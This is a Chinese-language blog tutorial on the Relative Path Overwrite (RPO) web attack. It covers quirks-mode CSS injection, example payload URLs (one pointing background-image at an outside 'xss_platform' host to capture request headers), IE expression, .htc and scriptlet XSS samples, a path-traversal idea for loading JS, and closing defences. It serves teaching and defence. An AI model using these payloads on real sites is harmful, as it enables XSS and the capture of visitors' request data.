RPO二三事

补发一篇十多天之前的文章

第一次碰到RPO是在某一期pwnhub的题目上看到的,记得是小m师傅出的题。那是第一次遇到rpo,而最近再看之前先知社区的XSS的挑战赛的题解的时候又遇到一次。加上最近都没怎么写博客,所以我也来水一篇文章。其实我个人对于各个浏览器的一些特性了解的很少,看了柠檬师傅和LR师傅的先知xss题解消化了很久,其中涉及到了很多相关的浏览器的知识点、特性甚至0day,对于我个人而言是收货颇丰的,跑偏了,总之就是如果在这篇文章中的一些观点或是说法有误,请师傅们务必向我指出。

0x01 RPO原理简介

RPO (全称Relative Path Overwrite,相对路径覆盖),是一种利用相对URL覆盖其目标文件文件的技术,最早2014年提出来。关于相对URL和绝对URL想必无须多言了,绝对URL基本上是包含协议和域名的目标地址的完整URL,而相对URL不指定域或协议,并使用现有目标来确定协议和域。

1.1 原理概述

比如我们经常引用CSS的时候这样写:

<link href="styles.css" rel="stylesheet" type="text/css" />

这里就是通过相对URL来引用的。

我们来直接看这次一个类似的例子就行了。 一个文件a.php,内容如下:

<html>
<link href="style.css" rel="stylesheet" />
<?php echo htmlspecialchars($_SERVER['PHP_SELF']);?>
</html>
  • 1、正常访问http://127.0.0.1:8000/a.php,浏览器就会去请求http://127.0.0.1:8000/style.css
  • 2、但是如果我访问http://127.0.0.1:8000/a.php/{}*{background-color:red}/,就会请求http://127.0.0.1:8000/a.php/{}*{background-color:red}/style.css,而这个请求会由a.php处理并响应,可以在开发者工具中能够看到,这个响应的内容如下: 而CSS规范规定了:在某些情况下,user agents必须忽略非法样式表的一部分。这个规范定义为忽略,这意味着user agents解析非法部分,除非是明确匹配到了开始和结束,否则予以忽略,也就是简单的说,解析其中格式正确完整的部分,忽略非法语法。 所以上述的CSS文件的返回就会被渲染,从而变成这样:

1.2 利用原因?

当然,上述CSS规范所说的某些情况,可以直接的总结为怪异模式(Quirks mode)情况下,在怪异模式下,浏览器将会忽视其中Content-Type: text/html等声明文档类型的描述,将其中的任何css解析执行,反之如果是位于标准模式的话,浏览器将只会解析Content-Type: text/css,而其余则会报错。这里对于怪异模式和标准模式不再赘述,有兴趣可以自行了解。

我们来做一个简单的实验,在1.1小节中的a.php改成如下:

<!DOCTYPE html>
<html>
<link href="style.css" rel="stylesheet" />

<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
echo "<br><br><br>".$_GET['a'];

?>

</html>

仅仅只是在文档最开头用DOCTYPE进行声明,我们再来尝试一下之前成功生效的payload : http://127.0.0.1:8000/a.php/{}*{background-color:red}/ 执行结果如下图:

发现并没有生效,在控制台也明确的描述了原因。 所以说怪异模式是RPO的攻击payload能够成功生效的条件之一。

0x02 RPO的一些利用

我们接着上一节的话题说, 在怪异模式下,我们可以通过:

http://127.0.0.1:8000/a.php/{}*{background-image:url(http://xss_platform/)}/

就能使其访问到任意url,我们可以通过这样的方式捕获请求获取头信息。

但如果我们想要利用RPO触发XSS呢? 例如IE6或IE7,我们就可以利用expression直接触发xss,样例

http://127.0.0.1:8000/a.php/{}*{xss:expression(open(alert(1)))}/`

但是随着浏览器版本的更迭,浏览器安全性的问题越来越被重视,很多相关的技巧都逐渐消失了,例如以前看的《XSS跨站脚本攻击剖析与防御》一书,里面的很多payload在目前的环境下都已经无法运行了,同样没有专门的页面来记录这些技巧,而现有的这些技巧令人难以置信,而且也只能靠自己多读文章多看大牛们的状态博客之类的进行收集。 就目前而言,IE是唯一允许通过CSS执行脚本的浏览器,当然从IE11开始,微软彻底封杀了CSS的expression.aspx)。

但是在IE9环境下,可以通过导入HTML组件(.htc文件),本质类似于导入一个html文件,如下:

http://127.0.0.1:8000/a.php/{}*{behavior:url(xss.htc)}/`

其中xss.htc文件如下:

<script>alert(1)</script>

注意需要引用同域下的xss.htc文件。

除此之外,Scriptlet文件在IE10的环境下依旧被支持,虽然它需要设定正确的MIME类型(text / x-scriptlet),但实际上,E将尝试对某些MIME类型执行MIME嗅探,而以下列出的MIME类型列表将会激活IE对scriptlet文件的嗅探

text/html
text/plain
image/*
video/mpeg
video/avi

所以我们构造如下:

http://127.0.0.1:8000/a.php/{}*{behavior:url(xss.txt)}/`

其中xss.txt文件如下:

<scriptlet>  
    <implements type="behavior"/>
    <script>alert(1)</script>
</scriptlet>

这里引用的Scriptlet文件同样需要位于同域下

0x03 总结及延伸

3.1 总结

通过上面简单的总结,我们可以大概可以简单做一下总结:

  • 1、存在RPO缺陷的文件和html加载的样式表必须是同一个文件,或者是位于同域下的其他文件。例如文章最开始的例子,存在缺陷的文件是a.php,而最后加载的style.css还是指向a.php。除此之外,如果同域下存在某个持久性的存储点或是上传点,也可以配合利用。
  • 2、因为我们只是覆盖可相对路径,所以对于浏览器发送的加载css的请求,毋庸置疑,我们是无法控制其参数的

3.2 其他思路

我们上面举的例子以及几乎现有的大部分关于RPO的文章都是利用该项技术覆盖css,其实我们简单思考一下,覆盖js也是有可能的,但是由于js语法的严格,我们需要的就不能只是一个简简单单的可控存储点了,利用环境必然是会更加严苛的。

比如现在很多网站开启了rewrite,将请求统一重定向到比如某个index.php去进行处理,而恰好这个index.php存在比如这样的代码:

<link href="../../xxx.js" rel="stylesheet" />

那么比如我们访问http://xxx.com/index.php/param1/param2/..%2f..%2fparam3

  • 服务器视角:http://xxx.com/index.php
  • 客户端引用js:http://xxx.com/index.php/param1/param2/..%2f..%2fparam3/../../xxx.js,等价于:http://xxx.com/index.php/param1/xxx.js

利用服务端和客户端对于%2f处理的不同完成了目录的穿越,而如果这个时候在传入某个(某几个)paramx的时候会有我们能够完全控制的页面,那么我们就可以通过上述的方式进行目录穿越从而实现加载可控的js。

当然这个环境非常严苛也几乎很难简单,这里只是构想了这样一个可能性而已,具体实际环境遇到的情况肯定是很低的。

0x04 防御

首先相对URL是无益的这一点毋庸置疑,所以抛开其他杂七杂八的很多方式,最有效的莫过于不适用相对URL,如果无法直接使用完整的绝对URL,那么所有的引用都以/开头就行了。另外,对于所有的相应尽量利用doctype声明为标准模式,完全遵循W3C的标准一般是不会出什么错误的。

0x05 Referer